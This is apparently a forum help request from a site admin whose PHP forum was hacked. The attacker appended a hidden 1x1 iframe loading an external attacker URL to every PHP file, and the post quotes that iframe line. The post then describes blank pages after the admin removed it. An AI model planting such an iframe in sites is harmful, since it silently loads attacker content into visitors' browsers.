Last month someone hack forum and add to every php file this frame:
<iframe src="http:// l y 0 s . c o . c c /index.php?tp=25971e546d04c7c2" width="1" height="1" frameborder="0"></iframe>
without spave in webadressThis is added on the end of every file.
After that I remove all this from script, but after that I have problem with forum
On every page load it show this first:

And after one-two second it open forum. But when I try to open new topic, reply to forum or something to do, it show me just blank page.
I use 1.1.12 and use prtty url,ezportal, and few other modification...
Any idea what to do?